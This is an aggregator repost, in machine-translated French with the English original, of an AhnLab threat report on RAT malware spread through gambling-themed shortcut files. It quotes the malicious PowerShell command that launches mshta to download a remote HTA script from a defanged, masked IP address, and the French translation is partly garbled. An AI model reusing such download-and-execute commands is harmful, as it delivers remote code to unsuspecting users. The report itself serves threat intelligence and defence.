SOC News: Article

One Article Review

Accueil - L'article:

Source	AhnLab
Identifiant	8447482
Date de publication	2024-02-07 01:59:51 (vue: 2024-02-07 02:07:18)
Titre	Distribution des logiciels malveillants de rat déguisés en fichier lié au jeu Distribution of RAT Malware Disguised as a Gambling-related File
Texte	AhnLab SEcurity intelligence Center (ASEC) has identified the distribution of RAT malware disguised as an illegal gambling-relateddéposer.Comme la méthode de distribution de Venomrat introduit le mois dernier ([1]), le malware est réparti via un fichier de raccourci (.lnk), et il télécharge le rat directement depuis HTA.Le fichier de raccourci distribué contient une commande PowerShell malveillante qui exécute MSHTA et télécharge le script malveillant.Commande PowerShell C: \ Windows \ System32 \ Windowspowershell \ V1.0 \ PowerShell.exe.$ Env: C: \ W * \ S * 2 \ M * H? A. * \\ 'hxxp: //193.*.* [.] 253: 7287 / 2.hta.hta \\«Les URL malveillantes dans le fichier de raccourci confirmé sont les suivantes: hxxp: //193.*.* [.] 253: 7287 / 2.hta.hta ... AhnLab SEcurity intelligence Center (ASEC) has identified the distribution of RAT malware disguised as an illegal gambling-related file. Like the distribution method of VenomRAT introduced last month ([1]), the malware is spread via a shortcut (.lnk) file, and it downloads the RAT directly from HTA. The distributed shortcut file contains a malicious PowerShell command which runs mshta and downloads the malicious script. PowerShell command C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe . $env:C:\W\S2\mh?a. \'hxxp://193.*.[.]253:7287/2.hta.hta\' The malicious URLs in the confirmed shortcut file are as follows: hxxp://193..*[.]253:7287/2.hta.hta...
Envoyé	Oui
Condensat	$env:c: *** 253:7287/2 ahnlab are asec center command confirmed contains directly disguised distributed distribution downloads exe file follows: from gambling has hta hxxp://193 identified illegal intelligence introduced last like lnk mh malicious malware method month mshta powershell rat related runs s2 script security shortcut spread system32 urls venomrat which windows windowspowershell
Tags	Malware
Stories
Notes	★★★
Move

L'article ne semble pas avoir été repris aprés sa publication.

L'article ne semble pas avoir été repris sur un précédent.